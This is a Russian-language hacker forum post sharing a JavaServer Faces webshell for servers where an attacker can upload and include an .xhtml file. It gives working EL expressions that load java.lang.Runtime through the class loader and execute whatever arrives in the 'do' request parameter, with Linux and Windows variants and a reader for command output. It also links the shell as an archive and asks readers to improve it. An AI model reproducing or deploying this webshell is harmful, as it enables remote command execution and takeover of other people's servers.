Всем привет, немного посмотрел java server faces. Если у вас есть возможнось загрузить shell.xhtml и как-то проинклудить его, то вот небольшой вебшелл.
Соус в том, что мы не можем создавать переменные или что-то куда-то нормально присваивать. Но можем вызывать стейтменты, подгружать классы и в итоге выполнять код.
Так же мы работаем в контексте какого-то бина, а значит просто так вызвать java.lang.Runtime не получится.
И еще хз как это запустить под glassfish. На апаче , глассфиш ругается глупыми ошибками.
он вот тут =>
java_faces_shell.rar

иногда запрос не срабатывает, хз почему, возможно запись в файл выполняется дольше, чем следующий запрос и забирание из него содержимого.
как видно, основная команда выполняется тут
Цитата:
${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(","))}
|
для винды можно заменить на
Цитата:
${view.getClass().getClassLoader().loadClass("java .lang.Runtime").getMethod("exec","1,2".split(","). getClass()).invoke(view.getClass().getClassLoader( ).loadClass("java.lang.Runtime").getMethod("getRun time").invoke(null),request.getParameter("do").spl it(","))}
|
тогда передаем параметр: http://site/?do=cmd,/C,payload
Наверняка кто-то скажет "ФУ-фу-фу, а почему запись в файл, я хочу вывод сразу и никакой работы с файлами"
Отвечаю:
Цитата:
view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getMethod("readLine").invoke(
view.getClass().getClassLoader().loadClass("java.i o.BufferedReader").getConstructors()[1].newInstance(
view.getClass().getClassLoader().loadClass("java.i o.InputStreamReader").getConstructors()[3].newInstance(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getInputStream").invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("exec","1,2".split(",").ge tClass()).invoke(
view.getClass().getClassLoader().loadClass("java.l ang.Runtime").getMethod("getRuntime").invoke(null) ,
("/bin/bash,-c,echo `".concat(request.getParameter("do")).concat("` >/tmp/shell")).split(",")
)
)
)
)
)
|
вот так мы можем читать 1ю строку вывода (не беда, у нас есть tail и head)
НО, у меня бин ругается :
Class javax.el.BeanELResolver can not access a member of class java.lang.UNIXProcess with modifiers "public"
я не знаю как это поправить, так что пока как есть.
Второй вопрос:
почему такая бредятина с выполнением запросов, нафиг ajax?
Отвечаю:
Наверняка можно сделать все более грамотно, но вот какая ботва:
${вывод 1 в файл}
${вывод 2 в файл}
${вывод 3 в файл}
может отрабатывать в случайном порядке.
То есть выведет 213, 321 или как ему захочется.
поэтому пока только так.
Кто в состоянии подсказать, как его допилить - прошу =)
upd: немного допилил, в линухе все ок работает.